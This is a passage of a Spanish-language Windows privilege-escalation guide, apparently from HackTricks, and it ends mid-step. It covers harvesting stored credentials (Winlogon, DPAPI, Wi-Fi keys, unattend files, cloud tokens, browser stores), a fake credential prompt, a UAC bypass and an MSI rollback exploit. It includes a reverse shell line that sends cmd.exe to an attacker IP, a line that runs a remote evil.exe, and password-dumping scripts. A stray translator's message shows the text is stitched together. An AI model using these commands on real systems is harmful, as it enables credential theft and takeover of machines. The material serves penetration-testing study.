Comprueba si hay servicios restringidos accesibles desde el exterior

netstat -ano #Opened ports?

Tabla de enrutamiento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabla ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reglas de Firewall

Check this page for Firewall related commands (listar reglas, crear reglas, apagar, apagar…)

Más commands for network enumeration here

Subsistema de Windows para Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

El binario bash.exe también se puede encontrar en C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Si obtienes el root user puedes escuchar en cualquier puerto (la primera vez que uses nc.exe para escuchar en un puerto te preguntará mediante la GUI si nc debe ser permitido por el firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Para iniciar bash como root fácilmente, puedes probar --default-user root

Puedes explorar el sistema de archivos de WSL en la carpeta C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenciales de Windows

Credenciales de Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Administrador de credenciales / Windows vault

Desde https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault
Windows Vault almacena credenciales de usuario para servidores, sitios web y otros programas con los que Windows puede iniciar sesión en nombre de los usuarios automáticamente. A primera vista, esto podría parecer que los usuarios pueden almacenar sus credenciales de Facebook, Twitter, Gmail, etc., para iniciar sesión automáticamente desde los navegadores. Pero no es así.

Windows Vault almacena credenciales que Windows puede usar para iniciar sesión en los usuarios automáticamente, lo que significa que cualquier aplicación de Windows que necesite credenciales para acceder a un recurso (servidor o un sitio web) puede hacer uso de este Credential Manager & Windows Vault y utilizar las credenciales suministradas en lugar de que los usuarios introduzcan el nombre de usuario y la contraseña todo el tiempo.

A menos que las aplicaciones interactúen con Credential Manager, no creo que sea posible que utilicen las credenciales para un recurso dado. Por lo tanto, si tu aplicación quiere hacer uso del vault, debería, de alguna manera, comunicarse con Credential Manager y solicitar las credenciales para ese recurso desde la vault de almacenamiento predeterminada.

Usa cmdkey para listar las credenciales almacenadas en la máquina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Entonces puedes usar runas con la opción /savecred para utilizar las credenciales guardadas. El siguiente ejemplo invoca un binario remoto a través de un recurso compartido SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Usando runas con un conjunto de credenciales proporcionadas.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Tenga en cuenta mimikatz, lazagne, credentialfileview, VaultPasswordView, o el módulo de PowerShell de Empire (Empire Powershells module).

DPAPI

La API de Protección de Datos (DPAPI) proporciona un método para el cifrado simétrico de datos, utilizado predominantemente en el sistema operativo Windows para el cifrado simétrico de claves privadas asimétricas. Este cifrado aprovecha un secreto del usuario o del sistema para contribuir significativamente a la entropía.

DPAPI permite el cifrado de claves mediante una clave simétrica que se deriva de los secretos de inicio de sesión del usuario. En escenarios que implican cifrado del sistema, utiliza los secretos de autenticación de dominio del sistema.

Las claves RSA de usuario cifradas, usando DPAPI, se almacenan en el directorio %APPDATA%\Microsoft\Protect\{SID}, donde {SID} representa el Security Identifier del usuario. La clave DPAPI, colocada junto con la clave maestra que protege las claves privadas del usuario en el mismo archivo, suele consistir en 64 bytes de datos aleatorios. (Es importante notar que el acceso a este directorio está restringido, impidiendo listar su contenido mediante el comando dir en CMD, aunque sí puede listarse a través de PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puedes usar mimikatz module dpapi::masterkey con los argumentos apropiados (/pvk o /rpc) para descifrarlo.

Los credentials files protected by the master password suelen encontrarse en:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.\ Puedes usar mimikatz module dpapi::cred con el /masterkey apropiado para descifrar.\

You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

Credenciales de PowerShell

PowerShell credentials are often used for scripting and automation tasks as a way to store encrypted credentials conveniently. The credentials are protected using DPAPI, which typically means they can only be decrypted by the same user on the same computer they were created on.

Credenciales de PowerShell se usan a menudo para tareas de scripting y automatización como forma de almacenar credenciales cifradas de manera conveniente. Las credenciales están protegidas usando DPAPI, lo que típicamente significa que solo pueden ser descifradas por el mismo usuario en el mismo equipo donde fueron creadas.

To decrypt a PS credentials from the file containing it you can do: Para descifrar unas credenciales de PowerShell desde el archivo que las contiene, puedes hacer:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wi-Fi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Conexiones RDP guardadas

Puedes encontrarlas en HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
y en HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandos ejecutados recientemente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Administrador de credenciales de Remote Desktop

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa el Mimikatz dpapi::rdg module with appropriate /masterkey to descifrar cualquier archivo .rdg
Puedes extraer muchas DPAPI masterkeys de la memoria con el módulo Mimikatz sekurlsa::dpapi

Sticky Notes

Las personas suelen usar la aplicación StickyNotes en estaciones de trabajo Windows para guardar contraseñas y otra información, sin darse cuenta de que es un archivo de base de datos. Este archivo se encuentra en C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite y siempre vale la pena buscarlo y examinarlo.

AppCmd.exe

Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.
AppCmd.exe está ubicado en el directorio %systemroot%\system32\inetsrv\.\
Si este archivo existe, es posible que se hayan configurado algunas credentials y que puedan ser recuperadas.

Este código fue extraído de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Comprueba si C:\Windows\CCM\SCClient.exe existe .
Los instaladores se ejecutan con privilegios SYSTEM, muchos son vulnerables a DLL Sideloading (Información de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Archivos y Registro (Credenciales)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Claves de host SSH de Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys in registry

Las claves privadas SSH pueden almacenarse dentro de la clave del registro HKCU\Software\OpenSSH\Agent\Keys, por lo que deberías comprobar si hay algo interesante allí:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si encuentras alguna entrada dentro de esa ruta, probablemente será una clave SSH guardada. Está almacenada cifrada pero puede descifrarse fácilmente usando https://github.com/ropnop/windows_sshagent_extract.
Más información sobre esta técnica aquí: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si el servicio ssh-agent no está en ejecución y quieres que se inicie automáticamente al arranque, ejecuta:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Parece que esta técnica ya no es válida. Intenté crear algunas claves ssh, agregarlas con ssh-add e iniciar sesión vía ssh en una máquina. El registro HKCU\Software\OpenSSH\Agent\Keys no existe y procmon no identificó el uso de dpapi.dll durante la autenticación de clave asimétrica.

Archivos desatendidos

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

También puedes buscar estos archivos usando metasploit: post/windows/gather/enum_unattend

Contenido de ejemplo:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Copias de seguridad de SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenciales en la nube

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Busca un archivo llamado SiteList.xml

Contraseña GPP en caché

Anteriormente existía una funcionalidad que permitía desplegar cuentas de administrador local personalizadas en un grupo de máquinas mediante Group Policy Preferences (GPP). Sin embargo, este método tenía fallos de seguridad significativos. En primer lugar, los Group Policy Objects (GPOs), almacenados como archivos XML en SYSVOL, podían ser accedidos por cualquier usuario del dominio. En segundo lugar, las contraseñas dentro de esos GPPs, cifradas con AES256 usando una clave por defecto documentada públicamente, podían ser descifradas por cualquier usuario autenticado. Esto suponía un riesgo grave, ya que podía permitir a usuarios obtener privilegios elevados.

Para mitigar este riesgo, se desarrolló una función para escanear archivos GPP almacenados en caché localmente que contienen un campo “cpassword” que no esté vacío. Al encontrar dicho archivo, la función descifra la contraseña y devuelve un objeto PowerShell personalizado. Este objeto incluye detalles sobre el GPP y la ubicación del archivo, lo que ayuda en la identificación y la remediación de esta vulnerabilidad de seguridad.

Search in C:\ProgramData\Microsoft\Group Policy\history or in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (previous to W Vista) for these files:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Para descifrar la cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec para obtener las contraseñas:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Configuración Web

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Ejemplo de web.config con credenciales:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenciales de OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registros

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Pedir credentials

Siempre puedes pedir al user que introduzca sus credentials o incluso los credentials de otro user si crees que puede conocerlos (ten en cuenta que pedir al client directamente los credentials es realmente arriesgado):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Posibles nombres de archivo que contienen credenciales

Archivos conocidos que en algún momento contenían contraseñas en texto plano o Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

No has incluido el contenido de src/windows-hardening/windows-local-privilege-escalation/README.md ni la lista de archivos a buscar. Por favor pega el contenido del archivo (o los archivos propuestos). En cuanto lo hagas, lo traduciré al español manteniendo exactamente la misma sintaxis Markdown/HTML y respetando las reglas que indicaste.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credenciales en la Papelera de reciclaje

También debes revisar la Papelera para buscar credenciales en ella

Para recuperar contraseñas guardadas por varios programas puedes usar: http://www.nirsoft.net/password_recovery_tools.html

Dentro del registro

Otras claves del registro que pueden contener credenciales

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Historial de navegadores

Debes buscar dbs donde se almacenan contraseñas de Chrome o Firefox.
También revisa el historial, los marcadores y favoritos de los navegadores, ya que quizá algunas contraseñas estén almacenadas allí.

Herramientas para extraer contraseñas de navegadores:

COM DLL Overwriting

Component Object Model (COM) es una tecnología integrada en el sistema operativo Windows que permite la intercomunicación entre componentes de software escritos en distintos lenguajes. Cada componente COM está identificado mediante un class ID (CLSID) y cada componente expone funcionalidad a través de una o más interfaces, identificadas mediante interface IDs (IIDs).

COM classes and interfaces are defined in the registry under HKEY\CLASSES\ROOT\CLSID and HKEY\CLASSES\ROOT\Interface respectively. This registry is created by merging the HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

Inside the CLSIDs of this registry you can find the child registry InProcServer32 which contains a default value pointing to a DLL and a value called ThreadingModel that can be Apartment (monohilo), Free (multihilo), Both (único o múltiple) o Neutral (neutral respecto al hilo).

Básicamente, si puedes sobrescribir cualquiera de las DLLs que se van a ejecutar, podrías escalar privilegios si esa DLL va a ser ejecutada por otro usuario.

Para aprender cómo los atacantes usan COM Hijacking como mecanismo de persistencia revisa:

COM Hijacking

Búsqueda genérica de contraseñas en archivos y el registro

Buscar contenido de archivos

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Buscar un archivo con un nombre de archivo determinado

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Buscar en el registro nombres de claves y contraseñas

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Herramientas que buscan passwords

MSF-Credentials Plugin es un plugin de msf que he creado para ejecutar automáticamente cada módulo POST de metasploit que busca credentials dentro de la víctima.
Winpeas busca automáticamente todos los archivos que contienen passwords mencionados en esta página.
Lazagne es otra gran herramienta para extraer passwords de un sistema.

La herramienta SessionGopher busca sessions, usernames y passwords de varias herramientas que guardan estos datos en texto claro (PuTTY, WinSCP, FileZilla, SuperPuTTY y RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Imagine that a process running as SYSTEM open a new process (OpenProcess()) with full access. The same process also create a new process (CreateProcess()) with low privileges but inheriting all the open handles of the main process.
Then, if you have full access to the low privileged process, you can grab the open handle to the privileged process created with OpenProcess() and inject a shellcode.
Read this example for more information about how to detect and exploit this vulnerability.
Read this other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access).

Named Pipe Client Impersonation

Los segmentos de memoria compartida, conocidos como pipes, permiten la comunicación entre procesos y la transferencia de datos.

Windows proporciona una característica llamada Named Pipes, que permite a procesos no relacionados compartir datos, incluso a través de redes diferentes. Esto se asemeja a una arquitectura cliente/servidor, con roles definidos como named pipe server y named pipe client.

Cuando datos son enviados a través de una pipe por un cliente, el servidor que creó la pipe tiene la capacidad de asumir la identidad del cliente, si posee los derechos necesarios SeImpersonate. Identificar un proceso privilegiado que se comunique vía una pipe que puedes emular brinda la oportunidad de obtener mayores privilegios adoptando la identidad de ese proceso cuando interactúe con la pipe que has establecido. Para instrucciones sobre cómo ejecutar este ataque, hay guías útiles aquí y aquí.

También la siguiente herramienta permite interceptar la comunicación de una named pipe con una herramienta como burp: https://github.com/gabriel-sztejnworcel/pipe-intercept y esta herramienta permite listar y ver todas las pipes para encontrar privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

The Telephony service (TapiSrv) in server mode exposes \\pipe\\tapsrv (MS-TRP). A remote authenticated client can abuse the mailslot-based async event path to turn ClientAttach into an arbitrary 4-byte write to any existing file writable by NETWORK SERVICE, then gain Telephony admin rights and load an arbitrary DLL as the service. Full flow:

  • ClientAttach with pszDomainUser set to a writable existing path → the service opens it via CreateFileW(..., OPEN_EXISTING) and uses it for async event writes.
  • Each event writes the attacker-controlled InitContext from Initialize to that handle. Register a line app with LRegisterRequestRecipient (Req_Func 61), trigger TRequestMakeCall (Req_Func 121), fetch via GetAsyncEvents (Req_Func 0), then unregister/shutdown to repeat deterministic writes.
  • Add yourself to [TapiAdministrators] in C:\Windows\TAPI\tsec.ini, reconnect, then call GetUIDllName with an arbitrary DLL path to execute TSPI_providerUIIdentify as NETWORK SERVICE.

More details:

Telephony Tapsrv Arbitrary Dword Write To Rce

Varios

Extensiones de archivo que podrían ejecutar código en Windows

Check out the page https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

Los enlaces clicables en Markdown redirigidos a ShellExecuteExW pueden activar manejadores de URI peligrosos (file:, ms-appinstaller: o cualquier esquema registrado) y ejecutar archivos controlados por el atacante como el usuario actual. See:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Al obtener un shell como un usuario, puede haber tareas programadas u otros procesos ejecutándose que pasan credenciales en la línea de comandos. El script abajo captura las líneas de comando de los procesos cada dos segundos y compara el estado actual con el anterior, mostrando cualquier diferencia.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Robar contraseñas de procesos

De un usuario con privilegios bajos a NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Si tienes acceso a la interfaz gráfica (vía consola o RDP) y UAC está habilitado, en algunas versiones de Microsoft Windows es posible ejecutar una terminal u otro proceso como “NT\AUTHORITY SYSTEM” desde un usuario no privilegiado.

Esto permite escalar privilegios y evadir UAC al mismo tiempo con la misma vulnerabilidad. Además, no es necesario instalar nada y el binario usado durante el proceso está firmado y emitido por Microsoft.

Algunos de los sistemas afectados son los siguientes:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Para explotar esta vulnerabilidad, es necesario realizar los siguientes pasos:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

You have all the necessary files and information in the following GitHub repository:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Read this to learn about Integrity Levels:

Integrity Levels

Then read this to learn about UAC and UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

The technique described in this blog post with a exploit code available here.

The attack basically consist of abusing the Windows Installer’s rollback feature to replace legitimate files with malicious ones during the uninstallation process. For this the attacker needs to create a malicious MSI installer that will be used to hijack the C:\Config.Msi folder, which will later be used by he Windows Installer to store rollback files during the uninstallation of other MSI packages where the rollback files would have been modified to contain the malicious payload.

The summarized technique is the following:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Create an .msi that installs a harmless file (e.g., dummy.txt) in a writable folder (TARGETDIR).

  • Mark the installer as “UAC Compliant”, so a non-admin user can run it.

  • Keep a handle open to the file after install.

  • Step 2: Begin Uninstall

  • Uninstall the same .msi.

  • The uninstall process starts moving files to C:\Config.Msi and renaming them to .rbf files (rollback backups).

  • Poll the open file handle using GetFinalPathNameByHandle to detect when the file becomes C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • The .msi includes a custom uninstall action (SyncOnRbfWritten) that:

  • Signals when .rbf has been written.

  • Then waits on another event before continuing the uninstall.

  • Step 4: Block Deletion of .rbf

  • When signaled, open the .rbf file without FILE_SHARE_DELETE — this prevents it from being deleted.

  • Then signal back so the uninstall can finish.

  • Windows Installer fails to delete the .rbf, and because it can’t delete all contents, C:\Config.Msi is not removed.

  • Step 5: Manually Delete .rbf

  • You (attacker) delete the .rbf file manually.

  • Now C:\Config.Msi is empty, ready to be hijacked.

At this point, trigger the SYSTEM-level arbitrary folder delete vulnerability to delete C:\Config.Msi.

  1. Stage 2 – Replacing Rollback Scripts with Malicious Ones

  • Step 6: Recreate C:\Config.Msi with Weak ACLs

  • Recreate the C:\Config.Msi folder yourself.

